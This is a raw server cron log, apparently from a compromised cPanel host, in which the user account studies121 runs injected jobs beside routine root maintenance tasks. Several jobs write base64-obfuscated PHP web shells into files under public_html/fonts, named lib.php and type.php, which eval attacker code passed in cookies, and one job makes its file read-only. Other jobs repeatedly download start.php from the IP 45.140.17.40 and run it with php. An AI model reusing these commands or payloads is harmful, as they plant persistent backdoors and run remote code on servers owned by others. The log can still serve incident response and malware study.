Sep 13 00:15:02 ip-184-168-122-23 CROND[15384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:15:02 ip-184-168-122-23 CROND[15385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:15:02 ip-184-168-122-23 CROND[15386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:15:02 ip-184-168-122-23 CROND[15387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:16:01 ip-184-168-122-23 CROND[15500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:16:01 ip-184-168-122-23 CROND[15502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:16:01 ip-184-168-122-23 CROND[15503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:16:01 ip-184-168-122-23 CROND[15507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:16:01 ip-184-168-122-23 CROND[15506]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 00:16:01 ip-184-168-122-23 CROND[15505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:17:01 ip-184-168-122-23 CROND[15591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:17:01 ip-184-168-122-23 CROND[15592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:17:01 ip-184-168-122-23 CROND[15594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:17:01 ip-184-168-122-23 CROND[15595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:18:01 ip-184-168-122-23 CROND[15680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:18:01 ip-184-168-122-23 CROND[15683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:18:01 ip-184-168-122-23 CROND[15684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:18:01 ip-184-168-122-23 CROND[15682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:18:01 ip-184-168-122-23 CROND[15685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:19:01 ip-184-168-122-23 CROND[15785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:19:01 ip-184-168-122-23 CROND[15784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:19:01 ip-184-168-122-23 CROND[15786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:19:01 ip-184-168-122-23 CROND[15787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:20:01 ip-184-168-122-23 CROND[15954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:20:01 ip-184-168-122-23 CROND[15955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:20:01 ip-184-168-122-23 CROND[15958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:20:01 ip-184-168-122-23 CROND[15962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:20:01 ip-184-168-122-23 CROND[15960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:20:01 ip-184-168-122-23 CROND[15964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:20:01 ip-184-168-122-23 CROND[15963]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:20:01 ip-184-168-122-23 CROND[15967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:20:01 ip-184-168-122-23 CROND[15968]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 00:21:02 ip-184-168-122-23 CROND[16062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:21:02 ip-184-168-122-23 CROND[16063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:21:02 ip-184-168-122-23 CROND[16065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:21:02 ip-184-168-122-23 CROND[16064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:22:01 ip-184-168-122-23 CROND[16150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:22:01 ip-184-168-122-23 CROND[16152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:22:01 ip-184-168-122-23 CROND[16154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:22:01 ip-184-168-122-23 CROND[16157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:22:01 ip-184-168-122-23 CROND[16158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:23:01 ip-184-168-122-23 CROND[16251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:23:01 ip-184-168-122-23 CROND[16252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:23:01 ip-184-168-122-23 CROND[16253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:23:01 ip-184-168-122-23 CROND[16255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:24:01 ip-184-168-122-23 CROND[16341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:24:01 ip-184-168-122-23 CROND[16343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:24:01 ip-184-168-122-23 CROND[16344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:24:01 ip-184-168-122-23 CROND[16345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:24:01 ip-184-168-122-23 CROND[16342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:25:01 ip-184-168-122-23 CROND[16513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:25:01 ip-184-168-122-23 CROND[16516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:25:01 ip-184-168-122-23 CROND[16519]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 13 00:25:01 ip-184-168-122-23 CROND[16518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:25:01 ip-184-168-122-23 CROND[16517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:25:01 ip-184-168-122-23 CROND[16520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:25:01 ip-184-168-122-23 CROND[16521]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:26:01 ip-184-168-122-23 CROND[16631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:26:01 ip-184-168-122-23 CROND[16633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:26:01 ip-184-168-122-23 CROND[16635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:26:01 ip-184-168-122-23 CROND[16634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:26:01 ip-184-168-122-23 CROND[16637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:27:01 ip-184-168-122-23 CROND[16723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:27:01 ip-184-168-122-23 CROND[16725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
